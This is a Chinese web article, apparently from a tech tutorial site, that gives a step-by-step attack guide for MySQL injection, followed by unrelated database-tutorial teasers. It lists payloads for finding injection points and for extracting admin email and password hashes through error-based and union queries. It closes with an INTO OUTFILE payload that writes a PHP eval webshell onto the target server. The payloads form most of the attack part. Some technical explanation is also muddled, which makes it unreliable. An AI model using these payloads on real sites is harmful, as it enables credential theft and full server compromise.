MySQL注入中导出字段内容的研究通过注入导出WebShell

MySQL注入是指攻击者通过可写的输入源突破Web应用程序,从而访问或修改与该应用程序或其数据库相关的数据。其中,导出字段内容是一种常用的攻击方式,攻击者可以利用注入漏洞获取站点的敏感信息。以下是使用注入导出字段内容的研究及攻略:

攻略概述

  1. 找到目标站点;
  2. 判断目标站点是否存在注入点;
  3. 获取目标站点注入点所在位置;
  4. 利用注入点获取站点数据库信息;
  5. 通过注入获取站点敏感信息;
  6. 导出字段内容;
  7. 注入导出WebShell。

判断目标站点是否存在注入点

在对目标站点进行注入攻击之前,需要先确定该站点是否存在注入点。可以使用BurpSuit、SQLMAP等工具进行判断。

常用判断方式

报错注入

通过输入特定的SQL语句触发目标站点返回数据库错误信息。

' and 1=1 and '1'='2

如果目标站点返回错误信息,则说明存在注入点。

盲注

通过在SQL注入点尝试不同的payload观察返回结果是否变化来推断是否存在SQL注入点。以下为判断是否存在SQL注入点的常用Payload:

and 1=1
and 1=2
and sleep(5)

如果目标站点在执行and sleep(5)的时候等待5秒后才返回结果,则说明存在注入点。

Union注入

在目标站点的注入点中尝试通过Union语句来判断是否存在注入点。以下为判断是否存在注入点的常用Payload:

and 1=2 union select 1,2,3,4
and 1=1 union select 1,2,password,4 from users

如果目标站点在执行第二个Union语句的时候返回了密码信息,则说明存在注入点。

导出字段内容示例

示例1:获取管理员用户信息

假设目标站点存在SQL注入点,而我们想要获取站点管理员用户的信息,可以使用以下Payload:

and (select 1 from (select count(*), concat((select (select (select concat(email,'|||',password) from users where username='admin')) from information_schema.tables limit 0,1),floor(rand()*2))x from information_schema.tables group by x)a)

解释:

这段代码使用了MySQL查询表中的数据拼接成字符串的方法,在查询admin用户的email和password时,将两者使用特定符号“|||”连接起来。其中,floor(rand()*2)是为了随机生成0或1,目的是为了在进行Union注入的时候输出不同的结果,从而判断是否存在注入点。如果输出“|||”连接的字符串,则存在注入点。

示例2:获取站点数据库表

这个示例用于获取站点的数据库表,用到了MySQL的information_schema库。payload:

') union select 1, group_concat(table_name),3,4,5 from information_schema.tables where table_schema='dbname'#

其中dbname为站点的数据库名,group_concat()函数用于将结果拼接为字符串而不是返回多行结果,从而避免后续的Union注入错误。

导出WebShell

如果在获取站点的敏感信息时成功得到了管理员的账户和密码,我们可以通过导出WebShell来获取站点更多的信息。以下是导出WebShell的示例Payload:

' union select "<?php @eval($_POST[\"password\"])?>",2,3,4 into outfile '/path/to/webshell.php'#

其中,/path/to/webshell.php需要替换成站点的目录。在执行该语句后,会将WebShell代码写入到服务器指定的文件中,然后攻击者就可以通过该WebShell来访问站点的控制台了。

总之,网站开发者需要高度重视SQL注入的安全性,采取一系列的安全措施来尽量减少漏洞的产生。对于攻击者而言,要有充足的攻击前期准备,以及对Web应用程序和SQL注入攻击的深刻理解。

本站文章如无特殊说明,均为本站原创,如若转载,请注明出处:MySQL注入中导出字段内容的研究通过注入导出WebShell - Python技术站

(0)
上一篇 2023年5月22日
下一篇 2023年5月22日

相关文章

  • MySql中使用正则表达式查询的方法

    对于”MySql中使用正则表达式查询的方法”,具体步骤如下: 步骤一:使用REGEXP函数进行正则表达式查询 MySQL中可以使用REGEXP函数进行正则表达式查询。该函数接受一个正则表达式作为参数,并返回匹配该表达式的结果。 例如,我们可以使用下面的语句来查询符合正则表达式^test.*的记录: SELECT * FROM table_name WHERE…

    database 2023年5月22日
    00
  • access数据库用sql语句添加字段,修改字段,删除字段

    以下是使用SQL语句在Access数据库中添加、修改和删除字段的完整攻略: 1. 添加字段 要在Access数据库中添加字段,可以使用SQL命令的“ALTER TABLE”语法。以下是添加字段的示例语句: ALTER TABLE 表名 ADD COLUMN 字段名 字段类型; 其中,“表名”是要添加字段的表名,“字段名”是要添加的新字段的名称,“字段类型”是…

    database 2023年5月21日
    00
  • golang1.16新特性速览(推荐)

    Golang1.16新特性速览(推荐)攻略 Golang1.16版本推出了许多全新的特性,本文将为你详细介绍各项新特性及其使用方法。 Embeddings 新版本中,可以使用Embeddings机制来将一个结构体嵌套到另一个结构体中,同时在使用过程中可以直接访问这两个结构体的方法和属性。下面是一个简单的示例: type Person struct { Nam…

    database 2023年5月22日
    00
  • 安装配置MySQLMTOP来监控MySQL运行性能的教程

    下面是安装配置MySQLMTOP来监控MySQL运行性能的教程完整攻略。 简介 MySQLMTOP是一款用于监控MySQL性能和执行状态的开源工具。它能够实时监控MySQL的运行状态,包括查询、锁和事务状态等,方便用户优化MySQL数据库性能。 安装步骤 以下是安装配置MySQLMTOP的步骤: 1. 下载MySQLMTOP 通过MySQLMTOP官网或者G…

    database 2023年5月22日
    00
  • Activiti工作流学习笔记之自动生成28张数据库表的底层原理解析

    Activiti工作流学习笔记之自动生成28张数据库表的底层原理解析 概述 Activiti 是一个轻量级的流程引擎,是 Apache下的一个顶级项目。在 Activiti 中,流程定义(Process Definition)可以通过 XML 文件或者 Java 代码的方式进行部署。在部署流程定义的时候,Activiti 会自动地创建需要的表。在本篇文章中,…

    database 2023年5月21日
    00
  • 5个常用的MySQL数据库管理工具详细介绍

    5个常用的MySQL数据库管理工具详细介绍 本文将介绍5个常用的MySQL数据库管理工具,包括Navicat、HeidiSQL、MySQL Workbench、Sequel Pro、phpMyAdmin,分别从特点、优缺点、界面、功能等方面进行详细的介绍和比较。 1. Navicat Navicat是一款完整的数据库管理工具,支持MySQL、MongoDB和…

    database 2023年5月19日
    00
  • 成本会计和管理会计的区别

    成本会计和管理会计是会计学中两个重要的分支。尽管它们都涉及到企业的财务信息的记录和分析,但是它们的目的和方法都不同。 成本会计 成本会计是指对企业生产成本的记录和分析,将每个产品的生产成本准确计算出来。通过成本会计,企业可以了解每个产品的成本,以此来制定产品价格和生产计划。 特点 以成本作为核心,强调成本的核算和管理 针对生产成本进行数据记录和分析 重点关注…

    database 2023年3月27日
    00
  • 简单讲解MySQL的数据库复制方法

    MySQL是一种开源关系型数据库管理系统,它的数据库复制功能可以将一个MySQL实例的数据拷贝到另外一个服务器实例上,从而对数据进行备份和灾备。 以下是MySQL数据库复制的方法: 主从复制 主从复制是MySQL中最常用的一种复制方式。它通过将一个MySQL服务器实例作为主服务器,将这个主服务器上的所有操作都复制到多个从服务器上的方式,来实现数据同步。 实现…

    database 2023年5月18日
    00
合作推广
合作推广
分享本页
返回顶部